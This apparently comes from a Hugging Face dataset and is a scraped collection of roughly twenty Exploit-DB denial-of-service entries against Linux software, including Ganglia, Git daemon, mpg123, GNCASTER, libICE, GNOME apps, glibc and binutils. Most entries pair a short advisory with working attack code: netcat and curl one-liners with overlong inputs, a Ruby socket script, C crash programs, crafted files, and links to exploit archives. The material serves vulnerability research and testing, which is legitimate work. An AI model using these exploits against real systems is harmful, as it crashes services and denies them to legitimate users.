deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23757
Description: Gamespy Software Development Kit - Remote Denial of Service
Type: dos
Platform: linux
Date: 2004-02-24
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/9741/info

It has been reported that the GameSpy SDK is prone to a remote denial of service vulnerability. This issue is due to the software failing to handle exceptional conditions during network communication.

Exploitation of this issue may cause the affected GameSpy developed game to crash, denying service to legitimate users.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23757.zip
Exploit-DB #32726
Description: Ganglia gmetad 3.0.6 - 'process_path()' Remote Stack Buffer Overflow
Type: dos
Platform: linux
Date: 2009-01-15
Author: Spike Spiegel

Exploit:
source: https://www.securityfocus.com/bid/33299/info

Ganglia is prone to a remote stack-based buffer-overflow vulnerability because the software fails to perform adequate boundary checks on user-supplied input.

Attackers can leverage this issue to execute arbitrary code in the context of the application. Successful exploits will compromise the application and the underlying computer. Failed attacks will cause denial-of-service conditions.

echo "/`python -c \"print \\"%s/%s\\" % ('a'*300,'b'*300)\"`" |nc localhost 8652
Exploit-DB #23172
Description: Gauntlet Firewall for Unix 6.0 - SQL-GW Connection Denial of Service
Type: dos
Platform: linux
Date: 2003-09-24
Author: Oliver Heinz & Thomas Neuderth

Exploit:
source: https://www.securityfocus.com/bid/8683/info

The Gauntlet Firewall SQL gateway (sql-gw) is prone to denial of service attacks. It is possible to trigger this condition by making multiple connections to the port which the service listens on. The service will need to be restarted to regain normal functionality.

This issue was reported for Gauntlet Firewall version 6, running on Solaris. Other versions may also be affected. 

for a in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
do
telnet aaa.bbb.ccc.ddd 1521
done
Exploit-DB #30251
Description: GD Graphics Library 2.0.34 - 'libgd' gdImageCreateXbm Function Unspecified Denial of Service
Type: dos
Platform: linux
Date: 2007-06-26
Author: anonymous

Exploit:
// source: https://www.securityfocus.com/bid/24651/info

The GD graphics library is prone to multiple vulnerabilities.

An attacker can exploit this issue to cause denial-of-service conditions or execute arbitrary code in the context of applications implementing the affected library.

Version prior to GD graphics library 2.0.35 are reported vulnerable. 

#include "gd.h"

int main() {
    FILE *fp = fopen("./x.xbm", "w+");

    fprintf(fp, "#define width 255\n#define height[PII_REDACTED]\nstatic unsigned char bla = {\n");

    fseek(fp, 0, SEEK_SET);

    gdImageCreateFromXbm(fp);

}
Exploit-DB #23393
Description: GEdit 2.0/2.2 - Large IOStream File Memory Corruption
Type: dos
Platform: linux
Date: 2003-11-23
Author: MegaHz

Exploit:
// source: https://www.securityfocus.com/bid/9090/info

A problem has been reported in the handling of certain file types by gEdit. Memory corruption may occur when handling files containing long strings. Because of this, it may be possible to cause memory corruption. 

/*
        simple buffer overflow generator by MegaHz megahz@megahz.org
*/
#include <iostream>
using namespace std;

int main()
{
int i;
for (i=0;i<=9999999;i++)
        {
        cout << "A";
        }
        return 0;
}
Exploit-DB #28160
Description: Gentoo-Specific MPG123 - URI Remote Buffer Overflow
Type: dos
Platform: linux
Date: 2006-07-03
Author: Horst Schirmeier

Exploit:
source: https://www.securityfocus.com/bid/18794/info

The mpg123 application is prone to a remote buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

This issue may allow remote attackers to execute arbitrary machine code in the context of the affected application.

This issue is specific to a patch applied to the Gentoo Linux version of mpg123.

The following commands are sufficient to demonstrate this issue by crashing affected applications:

( echo -ne "HTTP/1.1 302 Found\r\nLocation: "
echo -ne "http://fooooooooooooooooooooooooooooooooooooooooooooooooo/\r\n\r\n"
)| nc -lp 8080 &

mpg123 http://localhost:8080/
Exploit-DB #33965
Description: Geo++ GNCASTER 1.4.0.7 - GET Denial of Service
Type: dos
Platform: linux
Date: 2010-01-27
Author: RedTeam Pentesting GmbH

Exploit:
source: https://www.securityfocus.com/bid/40009/info

Geo++ GNCASTER is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to cause the application to crash, resulting in a denial-of-service condition. Arbitrary code-execution may also be possible; this has not been confirmed.

Geo++ GNCASTER 1.4.0.7 is vulnerable; other versions may also be affected. 

$ curl -i "http://www.example.com:1234/`perl -e 'printf "A"x988'`"
Exploit-DB #33966
Description: Geo++ GNCASTER 1.4.0.7 NMEA-data - Denial of Service
Type: dos
Platform: linux
Date: 2010-01-27
Author: RedTeam Pentesting GmbH

Exploit:
source: https://www.securityfocus.com/bid/40015/info

Geo++ GNCASTER is prone to a denial-of-service vulnerability.

An attacker with valid login credentials can exploit this issue to cause the application to crash, resulting in a denial-of-service condition. Arbitrary code-execution may also be possible; this has not been confirmed.

Geo++ GNCASTER 1.4.0.7 is vulnerable; other versions may also be affected. 

-------------------------------------------------------------------
#!/usr/bin/env ruby
######################################
#                                    #
#  RedTeam Pentesting GmbH           #
#  kontakt () redteam-pentesting de     #
#  http://www.redteam-pentesting.de  #
#                                    #
######################################

require 'socket'
require 'base64'

if ARGV.length < 3 then
    puts "USAGE: %s host:port user:password stream" % __FILE__
    puts "Example: %s 127.0.0.1:2101 testuser:secret /0001" % __FILE__
    puts
    exit
end

host, port = ARGV[0].split(':')
pw, stream = ARGV[1..2]

begin
    puts "requesting stream %s" % stream.inspect
    sock = TCPSocket.new(host, port.to_i)
    sock.write("GET %s HTTP/1.1\r\n" % stream)
    sock.write("Authorization: Basic %s\r\n" % Base64.encode64(pw).strip)
    sock.write("\r\n")

    response = sock.readline

    puts "server response: %s" % response.inspect

    puts "sending modified nmea data"
    sock.write("$GP" + "A" * 2000 +
        "GGA,134047.00,5[PII_REDACTED]0,N,00[PII_REDACTED]0," +
        "E,1,05,0.19,+00400,M,47.950,M,,*69\r\n")
    puts "done"
end
-------------------------------------------------------------------
Exploit-DB #34356
Description: gif2png 2.5.2 - Remote Buffer Overflow
Type: dos
Platform: linux
Date: 2009-12-12
Author: Razuel Akaharnath

Exploit:
source: https://www.securityfocus.com/bid/41801/info

gif2png is prone to a remote buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.

Successfully exploiting this issue may allow remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts will cause denial-of-service conditions.

gif2png 2.5.2 is vulnerable; other versions may also be affected. 

$> ./gif2png $(perl -e 'print "A" x 1053')
Exploit-DB #33036
Description: Git 1.6.3 - Parameter Processing Remote Denial of Service
Type: dos
Platform: linux
Date: 2009-05-05
Author: Shawn O. Pearce

Exploit:
source: https://www.securityfocus.com/bid/35338/info


Git is prone to a denial-of-service vulnerability because it fails to properly handle some client requests.

Attackers can exploit this issue to cause a daemon process to enter an infinite loop. Repeated exploits may consume excessive system resources, resulting in a denial-of-service condition.

Git 1.4.4.5 through 1.6.3.2 are vulnerable; other versions may also be affected.

$ perl -e '
$s="git-upload-pack git\0user=me\0host=localhost\0";
printf "%4.4x%s",4+length $s,$s
' | nc $GITHOST 9418
Exploit-DB #39454
Description: glibc - 'getaddrinfo' Stack Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2016-02-16
Author: Google Security Research

Exploit:
Sources: 
https://googleonlinesecurity.blogspot.sg/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html
https://github.com/fjserna/CVE-2015-7547

Technical information:

glibc reserves 2048 bytes in the stack through alloca() for the DNS answer at _nss_dns_gethostbyname4_r() for hosting responses to a DNS query.

Later on, at send_dg() and send_vc(), if the response is larger than 2048 bytes, a new buffer is allocated from the heap and all the information (buffer pointer, new buffer size and response size) is updated.

Under certain conditions a mismatch between the stack buffer and the new heap allocation will happen. The final effect is that the stack buffer will be used to store the DNS response, even though the response is larger than the stack buffer and a heap buffer was allocated. This behavior leads to the stack buffer overflow.

The vectors to trigger this buffer overflow are very common and can include ssh, sudo, and curl. We are confident that the exploitation vectors are diverse and widespread; we have not attempted to enumerate these vectors further.

We are providing this code as-is. You are responsible for protecting yourself,
your property and data, and others from any risks caused by this code. This
code may cause unexpected and undesirable behavior to occur on your machine.
This code may not detect the vulnerability on your system.

Note that this POC consists of two components: server code and client code.
The server code triggers the vulnerability and therefore will crash the client
code. Note also that it is necessary to set the nameserver to point to the
server code, and doing so could cause other programs that call into the
getaddrinfo() function to crash while testing is underway. This POC code is
provided "as is" with no warranties, whether express or implied, including
without limitation any warranties or merchantability, fitness for a particular
use and noninfringement. Google assumes no responsibility for your proper
installation and use of the POC code.


Proof of Concept:
https://github.com/fjserna/CVE-2015-7547/archive/master.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39454-1.zip
Exploit-DB #20023
Description: Gnome 1.0/1.1 / Group X 11.0 / XFree86 X11R6 3.3.x/4.0 - Denial of Service
Type: dos
Platform: linux
Date: 2000-06-19
Author: Chris Evans

Exploit:
// source: https://www.securityfocus.com/bid/1369/info

A denial of service vulnerability exists in libICE, part of the X11 windowing system. Any libICE application which creates inet listening sockets can be remotely crashed. This is due to a bug in the handling of the SKIP_STRING macro. By supplying a large value for the skip value, it is possible to cause a pointer to point to uninitialized memory. This in turn will cause a segfault.

This vulnerability will affect any application using TCP listening sockets in libICE. However, one more widespread use of libICE in this configuration is in the gnome-session program, part of the GNOME package. It is possible to cause the X session of a user to end by performing this denial of service against someone running GNOME.

/* icebreak.c - Chris Evans */
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int
main(int argc, const char* argv[])
{
  unsigned char c;
  unsigned int i;
  unsigned short s;
  char blankbuf[1000];

  memset(blankbuf, '\0', sizeof(blankbuf));

  /* Assume fd 1 is stdout */

  /* ICE connection header */
  /* First, pick an endian-ness */
  /* Byte 1: Major opcode. Must be 0 */
  c = 0;
  write(1, &c, 1);
  /* Byte 2: Minor opcode. Must be ICE_ByteOrder (1) */
  c = 1;
  write(1, &c, 1);
  /* Byte 3: Byte-order. We'll go for IceLSBfirst (0) */
  c = 0;
  write(1, &c, 1);
  /* Byte 4: Unused. Write 0 */
  c = 0;
  write(1, &c, 1);
  /* Bytes 5-8: integer length. Must be zero for byte-order message. */
  i = 0;
  write(1, &i, 4);

  /* Next message - ICE_ConnectionSetup */
  /* Byte 1: Major opcode. 0 for core ICE protocol message */
  c = 0;
  write(1, &c, 1);
  /* Byte 2: Minor opcode. ICE_ConnectionSetup (2) */
  c = 2;
  write(1, &c, 1);
  /* Bytes 3, 4: versionCount & authCount */
  c = 255;
  write(1, &c, 1);
  write(1, &c, 1);
  /* Bytes 5-8, int length. Must be at least 8 */
  i = 8;
  write(1, &i, 4);
  /* Now, bytes are part of iceConnectionSetupMsg */
  /* This is an extra 8 bytes */
  /* Byte 1: "must authenticate" */
  c = 0;
  write(1, &c, 1);
  /* Bytes 2-8: unused */
  write(1, blankbuf, 7);

  /* Now we're writing into the malloc'ed message data space */
  /* First, a string. Give it's 16bit length a big value to get ICE code
   * to iterate off the end of the buffer
   */
  s = 65535;
  write(1, &s, 2);

  /* And some blank to get the (total) 56 char data read finished */
  write(1, blankbuf, 54);
}
Exploit-DB #27145
Description: GNOME Evolution 2.2.3/2.3.x - Inline XML File Attachment Buffer Overflow
Type: dos
Platform: linux
Date: 2006-01-28
Author: Mike Davis

Exploit:
source: https://www.securityfocus.com/bid/16408/info

GNOME Evolution email client is prone to a denial-of-service vulnerability when processing messages containing inline XML file attachments with excessively long strings. 


perl -e 'printf "A"x40000' > evolution-dos-poc.xml
Exploit-DB #31979
Description: GNOME Evolution 2.22.2 - 'html_engine_get_view_width()' Denial of Service
Type: dos
Platform: linux
Date: 2008-06-26
Author: Juan Pablo Lopez Yacubian

Exploit:
source: https://www.securityfocus.com/bid/29961/info

GNOME Evolution is prone to a denial-of-service vulnerability when handling email messages that contain specially crafted HTML.

Successful attacks will crash the application.

Evolution 2.22.2 is vulnerable; other versions may also be affected. 

<IFRAME SRC="A"></IFRAME> <FRAMESET><FRAME SRC="A"></FRAMESET>
Exploit-DB #38857
Description: Gnome Nautilus 3.16 - Denial of Service
Type: dos
Platform: linux
Date: 2015-12-03
Author: Panagiotis Vagenas

Exploit:
* Exploit Title: Gnome Nautilus [Denial of Service]
* Discovery Date: 2015/10/27
* Public Disclosure Date: 2015/12/01
* Exploit Author: Panagiotis Vagenas
* Contact: https://twitter.com/panVagenas
* Vendor Homepage: https://www.gnome.org/
* Software Link: https://wiki.gnome.org/Apps/Nautilus
* Version: 3.16
* Tested on: Ubuntu 14.04, Fedora 22


Description
========================================================================
========

Gnome Nautilus <= v3.16 is vulnerable to DoS attack through a
malicious crafted file.

Details
- ------------------------------------------------------------------------
- --------
A malicious crafted file can be used to perform a DoS attack in
Nautilus. The attacker must have local
access to affected system or convince the victim to download the file
(email, web url etc.). Next time
the victim tries to open the directory that contains the malicious
file, Nautilus crashes without warning.

The file must have a `.jp2` extension and start with the JPEG
signature (`0xFFD8`).

Additional Notes
- ------------------------------------------------------------------------
- --------

This seems to happen every time Nautilus is trying to update the
thumbnail of the file.

In Ubuntu and Fedora process dies with the message:
```
Premature end of JPEG file
JPEG datastream contains no image
```

This vulnerability seems to affect all Nautilus versions prior to 3.16.

PoC
========================================================================
========

1. Create a file without a `.jp2` extension in an affected system
2. Open the file in a hex editor so it start with the JPEG signature
(`0xFFD8`)
3. Rename the file so it has the `.jp2` extension
4. Open directory with Nautilus
5. Nautilus dies without warning

Timeline
========================================================================
========

2015/10/27 - Discovered
2015/10/29 - Vendor notified at security@gnome.org

Solution
========================================================================
========

No official solution yet exists.

Work-around
- ------------------------------------------------------------------------
- --------

Disabling generation of thumbnails for all files, through Nautilus
options, will prevent Nautilus from crashing.
Exploit-DB #11044
Description: Gnome Panel 2.28.0 - Denial of Service (PoC)
Type: dos
Platform: linux
Date: 2010-01-06
Author: Pietro Oliva

Exploit:
# Tested on: ubuntu 9.10
# CVE : 
# Code :

/*********************************************************************************
*	        Gnome panel <= 2.28.0 denial of service poc 0-day		 *
*		     by  Pietro Oliva <pietroliva@gmail.com>
*                         http://olivapietro.altervista.org
*										 *
*	      After executing this poc a backup file will be created             *
*                You can restore it by typing ./paneldos restore                 *
*           Using option restart gnome-panel will restart continuously           *
*          Using option totalblock you will need to remove the battery           *
*       After execution click application in the panel, then go to places        *
*                             and wait some seconds...   			 *
*       https://bugs.launchpad.net/ubuntu/+source/gnome-panel/+bug/503868        *
**********************************************************************************/



#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
	FILE *f;
	unsigned long i;
	printf("%s","Gnome panel <= 2.28.0 denial of service by Pietro Oliva poc 0-day\n\n");
	if(!(f=fopen(".gtk-bookmarks","r")))
	{
		printf("%s","file not found! make sure you are running\nthis file from your home directory\n");
		return 1;
	}
	fclose(f);
	if((argv[1]==NULL))
	{
		printf("%s","please specify an argument!\n");
		printf("%s","usage: ./paneldos <option>\npossible options are:\trestart\t\ttotalblock\trestore\n");
		return 1;
	}
	if(((strcmp(argv[1],"restart"))==0))
	i=9999;
	else if((strcmp(argv[1],"totalblock"))==0)
	i=99999;
	else if((strcmp(argv[1],"restore"))==0)
	{
		if(!(f=fopen(".backup","r")))
		{
			printf("%s","no backup found!\nmake sure you are running\nthis file from your home directory\n");
			return 1;
		}
		fclose(f);
		system("cp .backup .gtk-bookmarks");
		printf("%s","succesfully restored!\n");
		return 0;
	}
	else
	{
		printf("%s","usage: ./paneldos <option>\npossible options are:\trestart\t\ttotalblock\trestore\n");
		return 1;
	}
	if(!(f=fopen(".backup","r")))
	{	
		printf("%s","creating backup...\n");
		system("cp .gtk-bookmarks .backup");
	}
	else
	fclose(f);
	f=fopen(".gtk-bookmarks","a");
	printf("%s","starting...\n");
	fwrite("file:///home ",1,13,f);
	while(i>0)
	{
		fwrite("\ta",1,2,f);
		i--;
	}
	fclose(f);
	printf("%s","done! now click applications in panel,\nslide to places, wait and see the result! :D\n");
	return 0;
}
Exploit-DB #31968
Description: GNOME Rhythmbox 0.11.5 - '.Playlist' File Denial of Service
Type: dos
Platform: linux
Date: 2008-06-26
Author: Juan Pablo Lopez Yacubian

Exploit:
source: https://www.securityfocus.com/bid/29958/info

GNOME Rhythmbox is prone to a remote denial-of-service vulnerability because it fails to handle specially crafted input.

Exploiting this issue allows remote attackers to crash the application and trigger denial-of-service conditions, denying further service to legitimate users. Given the nature of this issue, code execution may be possible, but this has not been confirmed.

GNOME Rhythmbox 0.11.5 is vulnerable; other versions may also be affected. 

[playlist]
X-GNOME-Title=
Title= A * 1475
NumberOfEntries=0
Exploit-DB #37477
Description: gnome-terminal (vte) VteTerminal - Escape Sequence Parsing Remote Denial of Service
Type: dos
Platform: linux
Date: 2012-07-03
Author: Kevin Fenzi

Exploit:
source: https://www.securityfocus.com/bid/54281/info

VTE is prone to a vulnerability that may allow attackers to cause an affected application to consume excessive amounts of memory and CPU time, resulting in a denial-of-service condition. 

echo -en "\e[[PII_REDACTED]L"
echo -en "\e[[PII_REDACTED]M"
echo -en "\e[[PII_REDACTED]P"
Exploit-DB #42200
Description: GNU binutils - 'bfd_get_string' Stack Buffer Overflow
Type: dos
Platform: linux
Date: 2017-06-19
Author: Alexandre Adamski

Exploit:
Source: https://sourceware.org/bugzilla/show_bug.cgi?id=21581

I have been fuzzing objdump with American Fuzzy Lop and AddressSanitizer.

Please find attached the minimized file causing the issue ("Input") and the
ASAN report log ("Output"). Below is the reduced stacktrace with links to the
corresponding source lines on a GitHub mirror.

The command I used was `objdump -D <file>`.

Let me know if there is any additional information I can provide.

--

Input: 02d8fa874391d563ccfd5911ff5f5cf8.fe651c9b03ff955c157ecee745208476.min
Output: 02d8fa874391d563ccfd5911ff5f5cf8.fe651c9b03ff955c157ecee745208476.txt

Error in "bfd_get_string": stack-buffer-overflow
  in bfd_get_string at bfd/ieee.c:198
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/bfd/ieee.c#L198)
  in read_id at bfd/ieee.c:227
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/bfd/ieee.c#L227)
  in ieee_object_p at bfd/ieee.c:1907
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/bfd/ieee.c#L1907)
  in bfd_check_format_matches at bfd/format.c:311
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/bfd/format.c#L311)
  in display_object_bfd at binutils/objdump.c:3602
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3602)
  in display_any_bfd at binutils/objdump.c:3693
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3693)
  in display_file at binutils/objdump.c:3714
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3714)
  in main at binutils/objdump.c:4016
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L4016)

Additional Information:
The command used was `objdump -D <file>`. The compilation flags used were `-g -O2 -fno-omit-frame-pointer -fsanitize=address -fno-sanitize-recover=undefined`. The configuration settings used were `--enable-targets=all --disable-shared`.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42200.zip